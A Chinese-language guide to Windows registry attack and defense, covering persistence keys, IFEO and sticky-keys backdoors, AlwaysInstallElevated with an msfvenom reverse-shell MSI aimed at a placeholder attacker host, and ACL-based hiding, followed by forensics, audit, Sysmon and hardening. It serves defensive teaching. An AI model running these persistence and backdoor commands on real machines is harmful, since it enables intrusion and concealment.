Windows 注册表攻击与防御完全指南

← 返回指南列表

Windows 注册表攻击与防御完全指南

Windows 注册表是操作系统配置的核心数据库,保存系统、软件、用户配置信息。注册表也是攻击者实现持久化、绕过安全机制、隐藏痕迹的重要战场。深入理解注册表攻防对于 Windows 安全至关重要。


一、注册表基础

1.1 注册表结构

Windows 注册表采用树形层级结构,包含五个根键(Root Key):

根键 缩写 说明
HKEY_CLASSES_ROOT HKCR 文件关联、COM 对象、类注册
HKEY_CURRENT_USER HKCU 当前登录用户的配置
HKEY_LOCAL_MACHINE HKLM 所有硬件、软件、安全策略配置
HKEY_USERS HKU 所有用户的配置
HKEY_CURRENT_CONFIG HKCC 当前硬件配置文件
GRAPH
TD
    A[注册表] --> B[HKCR 文件类型与COM]
    A --> C[HKCU 当前用户]
    A --> D[HKLM 本地机器]
    A --> E[HKU 所有用户]
    A --> F[HKCC 硬件配置]
    D --> G[SAM 安全账户管理]
    D --> H[SECURITY 安全策略]
    D --> I[SOFTWARE 软件配置]
    D --> J[SYSTEM 系统配置]

1.2 注册表数据类型

类型 值 说明
REG_SZ 字符串 固定长度字符串
REG_EXPAND_SZ %PATH%形式的字符串 包含环境变量的字符串
REG_DWORD 32位整数 数字配置值
REG_QWORD 64位整数 大数字配置值
REG_BINARY 二进制数据 原始二进制
REG_MULTI_SZ 多行字符串 字符串数组
REG_LINK 符号链接 指向另一个键的链接

1.3 注册表操作命令

BATCH
:: 查询
reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Run
reg query HKCU\Software\Microsoft\Windows\CurrentVersion\Run

:: 查询特定值
reg query HKLM\SYSTEM\CurrentControlSet\Services\ /s

:: 添加
reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v Evil /t REG_SZ /d "C:\evil.exe"

:: 删除
reg delete HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v Evil /f

:: 导出/导入
reg export HKLM\Software\ hive.reg
reg import hive.reg

:: 加载/卸载配置单元
reg load HKU\TempHive C:\Users\user\NTUSER.DAT
reg unload HKU\TempHive

1.4 PowerShell 操作

POWERSHELL
# 读取
Get-ItemProperty -Path "HKLM:\Software\Microsoft\Windows\CurrentVersion\Run"
Get-ItemPropertyValue -Path "HKLM:\..." -Name "Value"

# 创建/修改
New-Item -Path "HKLM:\Software\MyKey" -Force
Set-ItemProperty -Path "HKLM:\Software\MyKey" -Name "Val" -Value "data"

# 递归搜索
Get-ChildItem -Path "HKLM:\Software" -Recurse | Where-Object {
    $_.Property -contains "Debugger"
}

二、注册表持久化技术

2.1 经典 Run 键

这是最基础的持久化方式,也是最容易被检测的:

BATCH
:: 当前用户 - 登录时运行
HKCU\Software\Microsoft\Windows\CurrentVersion\Run
HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce

:: 所有用户 - 登录时运行
HKLM\Software\Microsoft\Windows\CurrentVersion\Run
HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce

:: RunOnceEx(Windows 2000/XP/2003)
HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnceEx

2.2 隐蔽的启动位置

TEXT
HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit
  默认值: C:\Windows\system32\userinit.exe,
  攻击者追加: ,C:\Windows\evil.exe

HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell
  默认值: explorer.exe
  攻击者修改: explorer.exe, evil.exe

HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\BootExecute
  默认值: autocheck autochk *
  攻击者追加: evil.exe

HKCU\Software\Microsoft\Windows NT\CurrentVersion\Windows\Load
HKCU\Software\Microsoft\Windows NT\CurrentVersion\Windows\Run

2.3 服务持久化

BATCH
:: 创建伪装系统服务
sc create FakeService binPath= "C:\Windows\System32\evil.exe" start= auto
sc description FakeService "Network Location Awareness"

:: 修改已有服务的 ImagePath
reg add HKLM\SYSTEM\CurrentControlSet\Services\TrustedInstaller /v ImagePath /t REG_EXPAND_SZ /d "C:\evil.exe" /f

:: 服务 Dll 劫持(ServiceDll 键)
HKLM\SYSTEM\CurrentControlSet\Services\服务名\Parameters\ServiceDll

2.4 计划任务与注册表

POWERSHELL
# 计划任务配置存储在注册表中
Get-ChildItem "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree"

# 任务触发日志
Get-WinEvent -FilterHashtable @{LogName="Microsoft-Windows-TaskScheduler/Operational"; ID=106}

2.5 COM 劫持持久化

COM(组件对象模型)劫持是高级持久化技术,通过修改 CLSID 指向恶意 DLL:

BATCH
:: 浏览器助手对象(BHO)劫持
HKLM\Software\Microsoft\Windows\CurrentVersion\Explorer\Browser Helper Objects
HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Browser Helper Objects

:: AppInit_DLLs 全局注入
HKLM\Software\Microsoft\Windows NT\CurrentVersion\Windows\AppInit_DLLs
HVML\Software\Microsoft\Windows NT\CurrentVersion\Windows\LoadAppInit_DLLs = 1

:: COM 对象替换
HKCR\CLSID\{CLSID}\InprocServer32\(Default)

:: 扩展代理 COM 劫持
HKCU\Software\Classes\CLSID\{CLSID}\InprocServer32

2.6 ActiveX 安装点

TEXT
HKLM\Software\Classes\CLSID\{CLSID}\InprocServer32
HKCU\Software\Microsoft\Active Setup\Installed Components\{GUID}\StubPath

当任何用户登录时,Active Setup 会执行 StubPath 中指定的命令。


三、IFEO 注入与调试器劫持

3.1 调试器劫持原理

IFEO(Image File Execution Options)是 Windows 用于调试程序的机制。当系统启动一个程序时,如果 IFEO 中配置了 Debugger 键,系统会先启动调试器:

BATCH
:: IFEO 全局位置
HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options

:: 劫持 sethc.exe(粘滞键后门)
reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /v Debugger /t REG_SZ /d "C:\Windows\System32\cmd.exe" /f

3.2 常见的 IFEO 劫持目标

目标可执行文件 触发方式 说明
sethc.exe 按5次Shift 粘滞键后门
utilman.exe Win+U 轻松使用中心
osk.exe 屏幕键盘 辅助功能
magnify.exe 放大镜 辅助功能
Narrator.exe 讲述人 辅助功能

3.3 SilentProcessExit 劫持

BATCH
:: Windows Error Reporting 机制,程序崩溃时执行指定命令
HKLM\Software\Microsoft\Windows NT\CurrentVersion\SilentProcessExit
reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\notepad.exe" /v ReportingMode /t REG_DWORD /d 1 /f
reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\notepad.exe" /v MonitorProcess /t REG_SZ /d "C:\evil.exe" /f

3.4 全局标志(GlobalFlag)与 GFlags

BATCH
:: 启用所有进程的映像加载器追踪
HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\程序名\GlobalFlag = 0x200
HKLM\Software\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\程序名\VerifierDlls = evil.dll

四、注册表 ACL 与权限攻击

4.1 注册表权限模型

BATCH
:: 查看注册表键权限
reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Run /reg:64
:: 导出安全描述符
:: 使用 PowerShell
(Get-Acl "HKLM:\Software\Microsoft\Windows\CurrentVersion\Run").Access | Format-Table

4.2 弱权限利用

POWERSHELL
# 查找所有用户可写的注册表键
$hives = @("HKLM:\Software", "HKLM:\SYSTEM", "HKCU:\Software")
foreach ($hive in $hives) {
    Get-ChildItem -Path $hive -Recurse -ErrorAction SilentlyContinue | ForEach-Object {
        try {
            $acl = Get-Acl -Path $_.PSPath -ErrorAction Stop
            $weak = $acl.Access | Where-Object {
                $_.IdentityReference -match "Everyone|BUILTIN\\Users" -and
                $_.RegistryRights -match "WriteKey|FullControl|CreateSubKey|SetValue"
            }
            if ($weak) {
                [PSCustomObject]@{
                    Path = $_.PSPath
                    Rights = ($weak | Select -ExpandProperty RegistryRights) -join ','
                }
            }
        } catch { }
    }
}

4.3 AlwaysInstallElevated 漏洞

BATCH
:: 允许普通用户以 SYSTEM 权限安装 MSI
reg query HKLM\Software\Policies\Microsoft\Windows\Installer\AlwaysInstallElevated
reg query HKCU\Software\Policies\Microsoft\Windows\Installer\AlwaysInstallElevated

:: 如果两个值都是 1:
:: 生成恶意 MSI 并安装
msfvenom -p windows/x64/shell_reverse_tcp LHOST=attacker LPORT=4444 -f msi -o evil.msi
msiexec /quiet /qn /i evil.msi

4.4 注册表符号链接

BATCH
:: 创建注册表符号链接(需要 SeCreateSymbolicLinkPrivilege)
:: 使用 Win32 API 或 PowerShell
:: 技巧:将已知键链接到另一个可写键

五、注册表取证与痕迹清理

5.1 注册表时间线取证

POWERSHELL
# 获取注册表最后写入时间
Get-Item "HKLM:\Software\Microsoft\Windows\CurrentVersion\Run" | Select-Object Name, LastWriteTime

# 比较多个时间点
$before = (Get-Item "HKLM:\Software\Microsoft\Windows\CurrentVersion\Run").LastWriteTime
Start-Sleep -Seconds 5
# ... 执行操作 ...
$after = (Get-Item "HKLM:\Software\Microsoft\Windows\CurrentVersion\Run").LastWriteTime
if ($after -gt $before) { Write-Output "注册表被修改" }

5.2 常见审查点

TEXT
持久化检测清单:
☐ HKLM\...\Run / RunOnce / RunOnceEx
☐ HKCU\...\Run / RunOnce
☐ HKLM\...\Winlogon\Userinit
☐ HKLM\...\Winlogon\Shell
☐ HKLM\...\Session Manager\BootExecute
☐ HKLM\...\Windows\AppInit_DLLs
☐ HKLM\...\Image File Execution Options\*.exe\Debugger
☐ HKLM\SYSTEM\...\Services\*\ImagePath
☐ HKLM\...\Active Setup\Installed Components
☐ HKCU\...\Explorer\Browser Helper Objects

5.3 高级隐藏技术

BATCH
:: 使用注册表 ACL 隐藏键
:: 先创建键,然后拒绝 Everyone 的读取权限
reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v HiddenSvc /t REG_SZ /d "C:\windows\tasks\svchost.exe" /f

:: 使用 PowerShell 修改 ACL 隐藏
$path = "HKLM:\Software\Microsoft\Windows\CurrentVersion\Run"
$acl = Get-Acl $path
$rule = New-Object System.Security.AccessControl.RegistryAccessRule("Everyone","ReadKey","Deny")
$acl.AddAccessRule($rule)
Set-Acl $path $acl

5.4 注册表还原点

BATCH
:: 创建还原点
reg export HKLM\Software\Microsoft\Windows\CurrentVersion\Run run_backup.reg

:: 取证导出生效的服务注册表
reg export HKLM\SYSTEM\CurrentControlSet\Services services_config.reg

六、注册表防御

6.1 注册表审计策略

BATCH
:: 启用注册表审计
auditpol /set /subcategory:"Registry" /failure:enable /success:enable

:: 配置具体键的审计
:: 在注册表编辑器 -> 右键 -> 权限 -> 高级 -> 审核

6.2 注册表事件监控

事件 ID 说明 监控建议
4656 注册表对象句柄打开 监控对 Run 键的打开
4657 注册表值修改 监控关键启动项的变化
4658 注册表句柄关闭 结合 4656 使用
4663 注册表访问尝试 记录谁访问了哪些键

6.3 Sysmon 注册表监控

XML
<!-- Sysmon 配置片段 - 监控 Run 键修改 -->
<EventFiltering>
  <RegistryEvent onmatch="include">
    <TargetObject condition="contains">CurrentVersion\Run</TargetObject>
  </RegistryEvent>
</EventFiltering>

6.4 注册表加固脚本

POWERSHELL
# 注册表安全加固
function Protect-Registry {
    param([string]$Path)
    $acl = Get-Acl $Path
    $users = [System.Security.Principal.NTAccount]"Users"
    $rule = New-Object System.Security.AccessControl.RegistryAccessRule(
        $users, "WriteKey,CreateSubKey,SetValue", "ContainerInherit,ObjectInherit", "None", "Deny"
    )
    $acl.AddAccessRule($rule)
    Set-Acl -Path $Path -AclObject $acl
}

# 加固关键位置
$criticalPaths = @(
    "HKLM:\Software\Microsoft\Windows\CurrentVersion\Run",
    "HKLM:\Software\Microsoft\Windows NT\CurrentVersion\Winlogon",
    "HKLM:\SYSTEM\CurrentControlSet\Services"
)

foreach ($p in $criticalPaths) {
    if (Test-Path $p) {
        Protect-Registry -Path $p
        Write-Output "已加固: $p"
    }
}

七、总结

技术分类 攻击技术 检测方法 防御措施
持久化 Run/RunOnce 键 Sysmon 事件 12/13/14 加固注册表 ACL
持久化 Winlogon Userinit 注册表审计 4657 限制修改权限
持久化 服务 ImagePath 服务启动日志 7045 服务权限最小化
持久化 COM 劫持 CLSID 修改监控 COM 权限配置
提权 AlwaysInstallElevated 策略查询 关闭该策略
后门 IFEO Debugger IFEO 键监控 加固 IFEO 权限
隐藏 ACL 拒绝读取 权限审计 管理员定期审查
隐藏 注册表链接 链接检测工具 禁用符号链接特权